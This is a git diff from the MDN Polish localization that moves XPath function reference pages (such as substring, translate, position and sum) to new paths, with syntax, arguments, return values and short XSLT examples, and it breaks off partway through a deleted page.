+{{ languages( { "en": "en/XPath/Functions/name", "fr": "fr/XPath/Fonctions/name", "ja": "ja/XPath/Functions/name" } ) }} diff --git a/files/pl/web/xpath/functions/namespace-uri/index.html b/files/pl/web/xpath/functions/namespace-uri/index.html new file mode 100644 index 0000000000..4c5e2e5d16 --- /dev/null +++ b/files/pl/web/xpath/functions/namespace-uri/index.html @@ -0,0 +1,37 @@ +--- +title: namespace-uri +slug: Web/XPath/Funkcje/namespace-uri +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/namespace-uri +--- +

+{{ XsltRef() }} +


+Funkcja namespace-uri zwraca łańcuch znaków reprezentujący URI przestrzeni nazw dla pierwszego wierzchołka danego zbioru wierzchołków.

+

Składnia

+
namespace-uri( [zbiór_wierzchołków] )
+
+

Argumenty

+
zbiór_wierzchołków (opcjonalny) +
Zwrócony zostanie URI przestrzeni nazw pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu. +
+

Zwraca

+

Ciąg reprezentujący URI przestrzeni nazw, w której dany wierzchołek kontekstu się znajduje. +

+

Uwagi

+
  • Jeśli podany wierzchołek nie posiada przestrzeni nazw, zwrócony łańcuch znaków będzie zawsze pusty.
+
  • Dla wierzchołków innych niż wierzchołki elementu i atrybutu, zwrócony łańcuch znaków będzie zawsze pusty. +
+

Definicja

+

XPath 1.0 4.1 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/namespace-uri", "fr": "fr/XPath/Fonctions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri" } ) }} diff --git a/files/pl/web/xpath/functions/normalize-space/index.html b/files/pl/web/xpath/functions/normalize-space/index.html new file mode 100644 index 0000000000..4fb220da39 --- /dev/null +++ b/files/pl/web/xpath/functions/normalize-space/index.html @@ -0,0 +1,34 @@ +--- +title: normalize-space +slug: Web/XPath/Funkcje/normalize-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/normalize-space +--- +

+{{ XsltRef() }} +


+Funkcja normalize-space usuwa poprzedzające i końcowe białe znaki z łańcucha znaków, zastępując je pojedynczą spacją i zwracając łańcuch wynikowy. +

+

Składnia

+
normalize-space( [łańcuch_znaków] )
+
+

Argumenty

+
łańcuch_znaków (opcjonalny) +
Łańcuch znaków do znormalizowania. Jeśli zostanie pominięty, użyty zostanie wierzchołek kontekstu skonwertowany do łańcucha znaków. +
+

Zwraca

+

Znormalizowany łańcuch znaków. +

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/normalize-space", "fr": "fr/XPath/Fonctions/normalize-space", "ja": "ja/XPath/Functions/normalize-space" } ) }} diff --git a/files/pl/web/xpath/functions/not/index.html b/files/pl/web/xpath/functions/not/index.html new file mode 100644 index 0000000000..9de59d5d7a --- /dev/null +++ b/files/pl/web/xpath/functions/not/index.html @@ -0,0 +1,37 @@ +--- +title: not +slug: Web/XPath/Funkcje/not +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/not +--- +

+{{ XsltRef() }} +


+Funkcja not ocenia wartość wyrażenia logicznego i zwraca wartość przeciwną. +

+

Składnia

+
not( wyrażenie )
+
+

Argumenty

+
wyrażenie +
Wyrażenie jest oceniane dokładnie tak, jak gdyby zostało ono przekazane jako argument funkcji boolean(). +
+

Zwraca

+

Prawda, jeśli wyrażenie jest fałszywe; fałsz, jeżeli wyrażenie zostało ocenione jako prawdziwe. +

+

Uwagi

+
  • Funkcja ta powinna zachowywać się podobnie do funkcji boolean(), oprócz tego, że zwraca ona przeciwną wartość wyrażenia. +
+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/not", "fr": "fr/XPath/Fonctions/not", "ja": "ja/XPath/Functions/not" } ) }} diff --git a/files/pl/web/xpath/functions/number/index.html b/files/pl/web/xpath/functions/number/index.html new file mode 100644 index 0000000000..22d3f72b02 --- /dev/null +++ b/files/pl/web/xpath/functions/number/index.html @@ -0,0 +1,37 @@ +--- +title: number +slug: Web/XPath/Funkcje/number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/number +--- +

+{{ XsltRef() }} +


+Funkcja number konwertuje obiekt do liczby i zwraca liczbę.

+

Składnia

+
number( [obiekt] )
+
+

Argumenty

+
obiekt (opcjonalny) +
Obiekt, który ma zostać przekonwertowany do liczby. Jeśli pominięty, użyty zostanie wierzchołek aktualnego kontekstu. +
+

Zwraca

+

Liczbę będącą wynikiem konwersji obiektu. +

+

Uwagi

+
  • Łańcuchy znaków są konwertowane do liczby poprzez usunięcie poprzedzających białych znaków znajdujących się przed liczbą i zignorowanie białych znaków występujących po niej. Jeśli łańcuch znaków nie odpowiada temu wzorcowi, jest on konwertowany do wartości NaN.
  • Logiczna prawda jest konwertowana do 1. Fałsz jest konwertowany do 0.
  • Zbiór wierzchołków jest konwertowany najpierw do łańcucha znaków tak, jak przez funkcję string(), a następnie konwertowany w ten sam sposób, co argument będący łańcuchem znaków. +
  • Typ obiektu inny niż cztery typy podstawowe jest konwertowany do liczby w sposób zależny od tego typu. +
+

Definicja

+

XPath 1.0 4.4 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/number", "fr": "fr/XPath/Fonctions/number", "ja": "ja/XPath/Functions/number" } ) }} diff --git a/files/pl/web/xpath/functions/position/index.html b/files/pl/web/xpath/functions/position/index.html new file mode 100644 index 0000000000..9c7b6fbe21 --- /dev/null +++ b/files/pl/web/xpath/functions/position/index.html @@ -0,0 +1,54 @@ +--- +title: position +slug: Web/XPath/Funkcje/position +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/position +--- +

{{ XsltRef() }}

+ +


+ Funkcja position zwraca liczbę równą pozycji kontekstu z kontekstu oceny wyrażenia.

+ +

Składnia

+ +
position()
+
+ +

Zwraca

+ +

Liczbę całkowitą równą pozycji kontekstu z kontekstu oceny wyrażenia.

+ +

Uwagi

+ +
    +
  • Należy zauważyć, że pozycja węzła w kontekście nie zaczyna się od zera. Pierwszy węzeł ma pozycję 1.
  • +
  • Kontekst jest określony przez resztę ścieżki.
  • +
+ +
<xsl:template match="//a[position() = 5]">
+ <!-- ten szablon odpowiada piątemu elementowi 'a' gdziekolwiek
+      w dokumencie. -->
+</xsl:template>
+
+ +
<xsl:template match="//div[@class='foo']/bar[position() = 1]">
+ <!-- ten szablon odpowiada pierwszemu elementowi 'bar' będącemu
+      potomkiem elementu 'div' z atrybutem class równym 'foo' -->
+</xsl:template>
+
+ +

Definicja

+ +

XPath 1.0 4.1

+ +

Gecko

+ +

Obsługuje.

+ +
+ +

{{ languages( { "en": "en/XPath/Functions/position", "fr": "fr/XPath/Fonctions/position", "ja": "ja/XPath/Functions/position" } ) }}

diff --git a/files/pl/web/xpath/functions/round/index.html b/files/pl/web/xpath/functions/round/index.html new file mode 100644 index 0000000000..8f9d827b74 --- /dev/null +++ b/files/pl/web/xpath/functions/round/index.html @@ -0,0 +1,36 @@ +--- +title: round +slug: Web/XPath/Funkcje/round +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/round +--- +

+{{ XsltRef() }} +


+Funkcja round zwraca liczbę będąca liczbą całkowitą najbliższą podanej.

+

Składnia

+
round( dziesiętna )
+
+

Argumenty

+
dziesiętna +
Liczba dziesiętna do zaokrąglenia. +
+

Zwraca

+

Najbliższą liczbę całkowitą mniejszą, większą bądź równą wartości dziesiętna. +

+

Uwagi

+
  • Liczba -0.5 jest zaokrąglana do zera ujemnego. 0.4 jest zaokrąglana do zera dodatniego. +
+

Definicja

+

XPath 1.0 4.4 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/round", "fr": "fr/XPath/Fonctions/round", "ja": "ja/XPath/Functions/round" } ) }} diff --git a/files/pl/web/xpath/functions/starts-with/index.html b/files/pl/web/xpath/functions/starts-with/index.html new file mode 100644 index 0000000000..f833baa82f --- /dev/null +++ b/files/pl/web/xpath/functions/starts-with/index.html @@ -0,0 +1,36 @@ +--- +title: starts-with +slug: Web/XPath/Funkcje/starts-with +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/starts-with +--- +

+{{ XsltRef() }} +


+

Funkcja starts-with sprawdza, czy pierwszy łańcuch znaków rozpoczyna się drugim łańcuchem i zwraca prawdę lub fałsz.

+

Składnia

+
starts-with( stóg siana , igła)
+
+

Argumenty

+
stóg siana +
Przeszukiwany łańcuch znaków. +
+
igła +
Szukany łańcuch znaków. +
+

Zwraca

+

True, jeśli stóg siana rozpoczyna się podciągiem igła. W przeciwnym wypadku false. +

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/starts-with", "fr": "fr/XPath/Fonctions/starts-with", "ja": "ja/XPath/Functions/starts-with" } ) }} diff --git a/files/pl/web/xpath/functions/string-length/index.html b/files/pl/web/xpath/functions/string-length/index.html new file mode 100644 index 0000000000..d0890579ab --- /dev/null +++ b/files/pl/web/xpath/functions/string-length/index.html @@ -0,0 +1,32 @@ +--- +title: string-length +slug: Web/XPath/Funkcje/string-length +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/string-length +--- +

+{{ XsltRef() }} +


+Funkcja string-length zwraca liczbę równą liczbie znaków w danym łańcuchu znaków.

+

Składnia

+
string-length( [łańcuch] )
+
+

Argumenty

+
łańcuch (opcjonalny) +
Oceniany łańcuch znaków. Jeśli pominięty, użyty zostanie łańcuch znaków taki sam jak wierzchołek kontekstu skonwertowany do łańcucha znaków.
+

Zwraca

+

Liczbę całkowitą równą liczbie znaków w ciągu. +

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/string-length", "fr": "fr/XPath/Fonctions/string-length", "ja": "ja/XPath/Functions/string-length" } ) }} diff --git a/files/pl/web/xpath/functions/string/index.html b/files/pl/web/xpath/functions/string/index.html new file mode 100644 index 0000000000..d84708e71f --- /dev/null +++ b/files/pl/web/xpath/functions/string/index.html @@ -0,0 +1,43 @@ +--- +title: string +slug: Web/XPath/Funkcje/string +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/string +--- +

+{{ XsltRef() }} +


+Funkcja string konwertuje dany argument do łańcucha znaków. +

+

Składnia

+
string( [obiekt] )
+
+

Argumenty

+
obiekt (opcjonalny) +
Obiekt, który ma zostać przekonwertowany do łańcucha znaków. Jeśli pominięty, użyty zostanie wierzchołek kontekstu. +
+

Zwraca

+

Łańcuch znaków +

+

Uwagi

+
  • Jeśli obiekt jest zbiorem wierzchołków, zwracana jest wartość łańcucha znaków pierwszego wierzchołka w zbiorze.
  • Liczby są konwertowane następująco: +
    • NaN jest konwertowane do ciągu NaN. +
    • Dodatnie zero jest konwertowane do łańcucha 0. +
    • Ujemne zero jest konwertowane do łańcucha 0. +
    • Dodatnia nieskończoność jest konwertowana do łańcucha Infinity. +
    • Ujemna nieskończoność jest konwertowana do łańcucha -Infinity. +
    • Liczby dziesiętne między -1 i 1 są konwertowane do łańcucha znaków z pojedynczym zerem poprzedzającym kropkę dziesiętną.
    +
+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/string", "fr": "fr/XPath/Fonctions/string", "ja": "ja/XPath/Functions/string" } ) }} diff --git a/files/pl/web/xpath/functions/substring-after/index.html b/files/pl/web/xpath/functions/substring-after/index.html new file mode 100644 index 0000000000..faf0b7ae6a --- /dev/null +++ b/files/pl/web/xpath/functions/substring-after/index.html @@ -0,0 +1,40 @@ +--- +title: substring-after +slug: Web/XPath/Funkcje/substring-after +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring-after +--- +

+{{ XsltRef() }} +


+Funkcja substring-after zwraca łańcuch znaków będący resztą podanego łańcucha znaków po danym podciągu. +

+

Składnia

+
substring-after( stóg siana , igła )
+
+

Argumenty

+
stóg siana +
Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha. +
+
igła +
Szukany podciąg. Zostanie zwrócone wszystko po pierwszym wystąpieniu igła w łańcuchu stóg siana. +
+

Zwraca

+

Łańcuch znaków. +

+

Przykłady

+ +
Przykład XPath Wyświetli
substring-after('aa-bb','-') bb
substring-after('aa-bb','a') a-bb
substring-after('aa-bb','b') b
substring-after('aa-bb','q') (pusty łańcuch znaków)
+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring-after", "fr": "fr/XPath/Fonctions/substring-after", "ja": "ja/XPath/Functions/substring-after" } ) }} diff --git a/files/pl/web/xpath/functions/substring-before/index.html b/files/pl/web/xpath/functions/substring-before/index.html new file mode 100644 index 0000000000..9786005f7c --- /dev/null +++ b/files/pl/web/xpath/functions/substring-before/index.html @@ -0,0 +1,38 @@ +--- +title: substring-before +slug: Web/XPath/Funkcje/substring-before +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring-before +--- +

+{{ XsltRef() }} +


+Funkcja substring-before zwraca łańcuch znaków będący resztą podanego łańcucha znaków przed danym podciągiem.

+

Składnia

+
substring-before( stóg siana , igła )
+
+

Argumenty

+
stóg siana +
Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha.
+
igła +
Szukany podciąg. Zostanie zwrócone wszystko przed pierwszym wystąpieniem igła w łańcuchu stóg siana. +
+

Zwraca

+

Łańcuch znaków. +

+

Przykłady

+ +
Przykład XPath Wyświetli
substring-before('aa-bb','-') aa
substring-before('aa-bb','a') (empty string)
substring-before('aa-bb','b') aa-
substring-before('aa-bb','q') (pusty łańcuch znaków)
+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring-before", "fr": "fr/XPath/Fonctions/substring-before", "ja": "ja/XPath/Functions/substring-before" } ) }} diff --git a/files/pl/web/xpath/functions/substring/index.html b/files/pl/web/xpath/functions/substring/index.html new file mode 100644 index 0000000000..4ed67fda88 --- /dev/null +++ b/files/pl/web/xpath/functions/substring/index.html @@ -0,0 +1,40 @@ +--- +title: substring +slug: Web/XPath/Funkcje/substring +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring +--- +

+{{ XsltRef() }} +


+Funkcja substring zwraca część podanego łańcucha znaków.

+

Składnia

+
substring( łańcuch , start [, długość] )
+
+

Argumenty

+
ciąg
Łańcuch znaków do oceny.
+
start +
Pozycja wewnątrz łańcuch, gdzie rozpoczyna się podciąg +
+
długość (opcjonalny) +
Długość podciągu. Jeśli pominięty, zwrócony łańcuch znaków będzie zawierał każdy znak z zakresu od pozycji startowej do końca łańcucha. +
+

Zwraca

+

Łańcuch znaków. +

+

Uwagi

+

Podobnie jak w innych funkcjach XPath, pozycja nie jest liczona od zera. Pierwszy znak w tym ciągu ma pozycję 1, nie 0. +

+

Definicja

+

XPath 1.0 4.2 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "fr": "fr/XPath/Fonctions/substring", "ja": "ja/XPath/Functions/substring" } ) }} diff --git a/files/pl/web/xpath/functions/sum/index.html b/files/pl/web/xpath/functions/sum/index.html new file mode 100644 index 0000000000..e0fac8e7bc --- /dev/null +++ b/files/pl/web/xpath/functions/sum/index.html @@ -0,0 +1,36 @@ +--- +title: sum +slug: Web/XPath/Funkcje/sum +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/sum +--- +

+{{ XsltRef() }} +


+Funkcja sum zwraca liczbę, która jest sumą wartości liczbowych każdego wierzchołka w podanym zbiorze wierzchołków.

+

Składnia

+
sum( zbiór_wierzchołków )
+
+

Argumenty

+
zbiór_wierzchołków +
Oceniany zbiór wierzchołków. Każdy wierzchołek w tym zbiorze wierzchołków jest oceniany tak jak gdyby został przekazany do funkcji number(), zaś wynikiem jest suma zwracanych liczb. +
+

Zwraca

+

Liczbę. +

+

Uwagi

+

(Brak) +

+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/sum", "fr": "fr/XPath/Fonctions/sum", "ja": "ja/XPath/Functions/sum" } ) }} diff --git a/files/pl/web/xpath/functions/system-property/index.html b/files/pl/web/xpath/functions/system-property/index.html new file mode 100644 index 0000000000..7faf04e266 --- /dev/null +++ b/files/pl/web/xpath/functions/system-property/index.html @@ -0,0 +1,36 @@ +--- +title: system-property +slug: Web/XPath/Funkcje/system-property +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/system-property +--- +

+{{ XsltRef() }} +


+Funkcja system-property zwraca obiekt reprezentujący daną własność systemową. +

+

Składnia

+
system-property( name )
+
+

Argumenty

+
name (opcjonalny) +
Nazwa własności systemowej. Argument musi być łańcuchem znaków będącym poprawną wartością QName. QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. Funkcja własności systemowej zwraca obiekt reprezentujący wartość własności systemowej identyfikowanej za pomocą nazwy. Jeśli podana własność systemowa nie istnieje, powinien zostać zwrócony pusty łańcuch znaków. +
+

Zwraca

+

Obiekt reprezentujący daną własność systemową. +

+

Uwagi

+
  • xsl:version, liczba podająca wersję XSLT zaimplementowaną przez procesor; dla procesorów XSLT implementujących wersję XSLT określoną przez ten dokument zwracana jest wartość 1.0 +
  • xsl:vendor, łańcuch znaków identyfikujący dystrybutora procesora XSLT +
  • xsl:vendor-url, łańcuch znaków zawierający adres URL identyfikujący dystrybutora procesora XSLT; zazwyczaj jest to strona główna (domowa) dystrybutora. +
+

Definicja

+

XSLT 1.0 12.4 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XPath/Functions/system-property", "fr": "fr/XPath/Fonctions/system-property" } ) }} diff --git a/files/pl/web/xpath/functions/translate/index.html b/files/pl/web/xpath/functions/translate/index.html new file mode 100644 index 0000000000..7627d29300 --- /dev/null +++ b/files/pl/web/xpath/functions/translate/index.html @@ -0,0 +1,86 @@ +--- +title: translate +slug: Web/XPath/Funkcje/translate +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/translate +--- +

{{ XsltRef() }}

+ +


+ Funkcja translate ocenia ciąg i zbiór znaków do przetłumaczenia i zwraca przetłumaczony łańcuch znaków.

+ +

Składnia

+ +
translate( string, abc, XYZ )
+
+ +

Argumenty

+ +
+
string
+
Oceniany łańcuch znaków.
+
+ +
+
abc
+
Ciąg znaków, które zostaną zastąpione.
+
+ +
+
XYZ
+
Ciąg znaków, które użyte zostaną do zastąpienia. Pierwszy znak w XYZ zastąpi każde wystąpienie pierwszego znaku w abc, które pojawi się w string .
+
+ +

Zwraca

+ +

Przetłumaczony łańcuch znaków.

+ +

Uwagi

+ +

W XPath funkcja translate nie jest wystarczającym rozwiązaniem w przypadku konwersji we wszystkich językach. Przyszłe wersje XPath mogą dostarczyć dodatkowych funkcji dla przypadku konwersji.

+ +

Jednakże jest to obecnie rozwiązanie najbliższe funkcji, która potrafi skonwertować łańcuch znaków do małych lub dużych znaków.

+ +

Przykład

+ +
<xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" />
+
+ +

Otrzymamy

+ +
THE QUICK BROWN FOX.
+
+ +
    +
  • Jeśli abc jest dłuższy niż XYZ, to każde wystąpienie znaków w abc, które nie ma odpowiadającego znaku w XYZ, zostanie usunięte.
  • +
+ +

Przykład

+ +
<xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" />
+
+ +

Otrzymamy

+ +
The quick red fox.
+
+ +
    +
  • Jeśli XYZ zawiera więcej znaków niż abc, dodatkowe znaki są ignorowane.
  • +
+ +

Definicja

+ +

XPath 1.0 4.2

+ +

Gecko

+ +

Obsługuje.

+ +
 
+ +

{{ languages( { "en": "en/XPath/Functions/translate", "fr": "fr/XPath/Fonctions/translate", "ja": "ja/XPath/Functions/translate" } ) }}

diff --git a/files/pl/web/xpath/functions/true/index.html b/files/pl/web/xpath/functions/true/index.html new file mode 100644 index 0000000000..03ac9c380c --- /dev/null +++ b/files/pl/web/xpath/functions/true/index.html @@ -0,0 +1,30 @@ +--- +title: 'true' +slug: Web/XPath/Funkcje/true +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/true +--- +

+{{ XsltRef() }} +


+Funkcja true zwraca wartość logiczną prawda. +

+

Składnia

+
true()
+
+

Zwraca

+

Wartość logiczną true. +

+

Definicja

+

XPath 1.0 4.3 +

+

Gecko

+

Obsługuje. +

+
+
+{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "fr": "fr/XPath/Fonctions/true", "ja": "ja/XPath/Functions/true" } ) }} diff --git a/files/pl/web/xpath/functions/unparsed-entity-url/index.html b/files/pl/web/xpath/functions/unparsed-entity-url/index.html new file mode 100644 index 0000000000..57a6a1b41f --- /dev/null +++ b/files/pl/web/xpath/functions/unparsed-entity-url/index.html @@ -0,0 +1,29 @@ +--- +title: unparsed-entity-url +slug: Web/XPath/Funkcje/unparsed-entity-url +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/unparsed-entity-url +--- +

+{{ XsltRef() }} +


+Funkcja unparsed-entity-url() zwraca adres URI nieprzetworzonej encji o podanej nazwie. Są to nie XML-owe dane odwołujące się z DTD dokumentu źródłowego.

+

Składnia

+
string unparsed-entity-url(łańcuch)
+
+

Argumenty

+

Nazwa nieprzetworzonej encji. Jeśli argument nie jest łańcuchem znaków, to jest on konwertowany zgodnie z zasadami funkcji string(). Nazwa powinna być nazwą XML. +

+

Zwraca

+

URI encji nieprzetworzonej encji pobranej z DTD, jeśli istnieje. W przeciwnym wypadku zwracany jest pusty łańcuch znaków. +

+

Definicja

+

XSLT 1.0 12.4 +

+

Gecko

+

Nie obsługuje. +

{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "fr": "fr/XPath/Fonctions/unparsed-entity-url" } ) }} diff --git a/files/pl/web/xpath/funkcje/boolean/index.html b/files/pl/web/xpath/funkcje/boolean/index.html deleted file mode 100644 index 15009d3c16..0000000000 --- a/files/pl/web/xpath/funkcje/boolean/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: boolean -slug: Web/XPath/Funkcje/boolean -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/boolean ---- -

-{{ XsltRef() }} -


-Funkcja boolean ocenia wyrażenie i zwraca prawdę (true) lub fałsz (false). -

-

Składnia

-
boolean( wyrażenie )
-
-

Argumenty

-
wyrażenie -
Oceniane wyrażenie. Wyrażenie może odnosić się zarówno do liczb, jak i do zestawów wierzchołków tak samo jak do wartości logicznych.
-

Zwraca

-

Wartość logiczną true lub false po ocenie wyrażenie. -

-

Uwagi

-
  • Fałsz, jeśli liczba jest zerem lub NaN (nie jest liczbą). Inaczej jest prawdą. -
  • Wierzchołek jest oceniany jako prawda, jeśli nie jest on pusty.
  • Fałsz, jeśli łańcuch znaków jest pusty. Inaczej jest prawdą. -
  • Typ obiektu inny niż cztery typy podstawowe jest konwertowany do wartości logicznej w sposób zależny od tego typu. -
-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/boolean", "fr": "fr/XPath/Fonctions/boolean", "ja": "ja/XPath/Functions/boolean" } ) }} diff --git a/files/pl/web/xpath/funkcje/ceiling/index.html b/files/pl/web/xpath/funkcje/ceiling/index.html deleted file mode 100644 index ddfd5595e4..0000000000 --- a/files/pl/web/xpath/funkcje/ceiling/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: ceiling -slug: Web/XPath/Funkcje/ceiling -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/ceiling ---- -

-{{ XsltRef() }} -


-Funkcja ceiling ocenia liczbę dziesiętną i zwraca najmniejszą liczbę całkowitą większą lub równą podanej liczbie dziesiętnej.

-

Składnia

-
ceiling( liczba )
-
-

Argumenty

-
liczba -
Oceniana liczba. -
-

Zwraca

-

Najbliższą liczbę całkowitą większą lub równą liczba. -

-

Przykładowo:

-

    ceiling (5.2) = 6

-

    ceiling (-5.2) = -5

-

Definicja

-

XPath 1.0 4.4 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/ceiling", "fr": "fr/XPath/Fonctions/ceiling", "ja": "ja/XPath/Functions/ceiling" } ) }} diff --git a/files/pl/web/xpath/funkcje/concat/index.html b/files/pl/web/xpath/funkcje/concat/index.html deleted file mode 100644 index 35a0d5f932..0000000000 --- a/files/pl/web/xpath/funkcje/concat/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: concat -slug: Web/XPath/Funkcje/concat -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/concat ---- -

-{{ XsltRef() }} -


-Funkcja concat łączy dwa lub więcej ciągów i zwraca łańcuch znaków będący wynikiem takiego łączenia.

-

Składnia

-
concat( string1 , string2 [, stringn]* )
-
-

Argumenty

-
stringn -
Ta funkcja przyjmuje dwa lub więcej argumentów. Każdy jego argument jest łańcuchem znaków.
-

Zwraca

-

Pojedynczy łańcuch znaków będący połączeniem wszystkich ciągów przekazanych funkcji jako argumenty.

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/concat", "fr": "fr/XPath/Fonctions/concat", "ja": "ja/XPath/Functions/concat" } ) }} diff --git a/files/pl/web/xpath/funkcje/contains/index.html b/files/pl/web/xpath/funkcje/contains/index.html deleted file mode 100644 index e295462b27..0000000000 --- a/files/pl/web/xpath/funkcje/contains/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: contains -slug: Web/XPath/Funkcje/contains -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/contains ---- -

-{{ XsltRef() }} -


-Funkcja contains określa, czy w pierwszym argumencie ciągu jest zawarty drugi argument ciągu i zwraca prawdę lub fałsz.

-

Składnia

-
contains( stóg siana , igła )
-
-

Argumenty

-
stóg siana -
Ciąg przeszukiwany -
-
igła -
Ciąg szukany jako podciąg stóg siana -
-

Zwraca

-

True, jeśli stóg siana zawiera igła. W innym przypadku false. -

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "fr": "fr/XPath/Fonctions/contains", "ja": "ja/XPath/Functions/contains" } ) }} diff --git a/files/pl/web/xpath/funkcje/count/index.html b/files/pl/web/xpath/funkcje/count/index.html deleted file mode 100644 index 5be5ce5039..0000000000 --- a/files/pl/web/xpath/funkcje/count/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: count -slug: Web/XPath/Funkcje/count -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/count ---- -

-{{ XsltRef() }} -


-Funkcja count zlicza liczbę wierzchołków w zbiorze zbiór_wierzchołków i zwraca liczbę całkowitą.

-

Składnia

-
count( zbiór_wierzchołków )
-
-

Argumenty

-
zbiór_wierzchołków -
Zbiór wierzchołków do zliczenia. -
-

Zwraca

-

Liczbę całkowitą reprezentującą liczbę wierzchołków w zbiorze zbiór_wierzchołków. -

-

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/count", "fr": "fr/XPath/Fonctions/count", "ja": "ja/XPath/Functions/count" } ) }} diff --git a/files/pl/web/xpath/funkcje/current/index.html b/files/pl/web/xpath/funkcje/current/index.html deleted file mode 100644 index cb3752d7eb..0000000000 --- a/files/pl/web/xpath/funkcje/current/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: current -slug: Web/XPath/Funkcje/current -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/current ---- -

-{{ XsltRef() }} -

Funkcja current może zostać użyta do pobrania wierzchołka kontekstowego w instrukcji XSTL.

-

Składnia

-
current()
-
-

Zwraca

-

